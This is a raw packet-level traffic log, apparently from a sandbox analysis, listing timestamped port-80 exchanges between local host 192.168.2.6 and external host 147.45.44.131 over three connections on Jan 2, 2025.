Jan 2, 2025 19:14:17.340456963 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.340459108 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.340471983 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.340476990 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.340483904 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.340526104 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.340576887 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.340576887 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.341216087 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.341222048 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.341228008 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.341238022 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.341253042 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.341258049 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.341265917 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.341295004 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.341305971 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.341409922 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.342000008 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.342014074 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.342019081 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.342088938 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.342093945 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.342138052 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.342144012 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.342150927 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.342161894 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.342164993 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.342164993 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.342168093 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.342175007 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.342180967 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.342195034 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.342303038 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.342308998 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.342324018 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.342325926 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.342350960 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.342370033 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.342416048 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.342427969 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.342433929 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.342439890 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.342439890 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.342506886 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.342521906 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.342557907 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.342576027 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.342593908 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.342693090 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.342699051 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.342705965 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.342715979 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.342722893 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.342727900 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.342771053 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.342773914 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.342773914 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.342823982 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.342829943 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.342837095 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.342865944 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.342870951 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.342878103 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.342883110 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.342907906 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.342907906 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.342992067 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.343029976 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.343056917 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.343063116 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.343075991 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.343087912 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.343094110 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.343125105 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.343126059 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.343172073 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.343297958 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.343303919 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.343310118 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.343322039 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.343327045 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.343333960 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.343339920 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.343353033 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.343440056 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.343460083 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.343466043 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.343478918 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.343483925 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.343489885 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.343494892 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.343502045 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.343533993 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.343533993 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.343561888 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.343568087 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.343573093 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.343585014 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.343590975 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.343652010 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.343657970 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.343709946 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.343748093 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.343770981 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.343847990 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.343852997 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.343858004 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.343864918 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.343892097 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.343894958 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.343902111 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.343908072 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.343935966 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.343956947 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.348676920 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.348757029 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.348762035 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.348767042 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.348778963 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.348783970 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.348790884 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.348797083 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.348844051 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.348844051 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.349003077 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.349126101 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.349131107 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.349138021 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.349148989 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.349153996 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.349159002 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.349190950 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.349211931 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.349263906 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.354881048 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.354948044 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.354953051 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.354959965 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.354964972 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.354971886 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.355031013 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.355101109 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.355113983 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.355119944 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.355125904 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.355132103 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.355137110 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.355143070 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.355149031 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.355154991 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.355154991 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.355169058 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.355175972 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.355182886 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.355189085 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.355194092 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.355199099 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.355206013 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.355211973 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.355274916 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.355274916 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.357100010 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.357105970 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.357119083 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.357125998 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.357131004 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.357144117 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.357148886 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.357156992 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.357173920 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.357265949 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.357369900 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.357413054 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.357425928 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.357431889 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.357443094 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.357449055 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.357470989 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.357496023 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.357517958 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.357525110 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.357554913 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.357567072 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.357582092 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.357589006 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.357600927 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.357616901 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.357647896 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.357647896 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.357673883 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.357680082 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.357728004 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.357733011 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.357738018 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.357743979 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.357749939 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.357750893 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.357755899 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.357784986 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.357784986 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.357841969 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.357848883 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.357855082 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.357860088 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.357865095 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.357868910 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.357873917 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.357873917 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.357881069 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.357887030 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.357897997 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.357899904 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.357903004 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.357924938 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.357924938 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.357934952 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.357940912 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.357947111 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.357973099 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.357988119 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.357995033 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.358001947 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.358007908 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.358016014 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.358047962 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.358139038 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.358144045 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.358149052 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.358160973 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.358165979 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.358180046 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.358185053 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.358191967 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.358201981 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.358210087 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.358215094 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.358225107 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.358238935 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.358366966 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.358369112 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.358374119 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.358381033 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.358386040 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.358392954 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.358455896 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.358455896 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.369911909 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370028019 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370033026 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370039940 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370047092 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370052099 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370055914 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.370141029 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370146990 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370152950 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370157957 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370170116 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370173931 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.370177031 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370182991 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370206118 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.370234013 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370239973 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370245934 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370270967 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.370299101 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370305061 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370311975 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370316982 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370322943 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370332956 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.370357037 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.370379925 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370395899 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370400906 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370402098 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.370446920 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.370461941 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370466948 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370470047 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.370472908 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370491028 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370496988 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370510101 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370516062 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370522022 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370522022 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.370522022 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.370529890 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370567083 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370573044 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370584011 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370589018 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370594978 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370605946 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370611906 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370615005 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.370615005 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.370630980 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.370657921 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.370680094 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370695114 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.370723963 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370729923 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370738983 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370821953 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.370831966 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370837927 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370851994 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370862007 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370867968 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370874882 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370879889 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370886087 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370892048 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.370906115 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.370934963 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.370934963 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.371112108 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.371118069 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.371130943 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.371135950 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.371141911 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.371148109 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.371154070 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.371159077 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.371164083 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.371169090 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.371170998 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.371175051 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.371182919 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.371187925 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.371193886 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.371198893 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.371211052 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.371216059 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.371221066 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.371223927 CET	49726	80	192.168.2.6	147.45.44.131
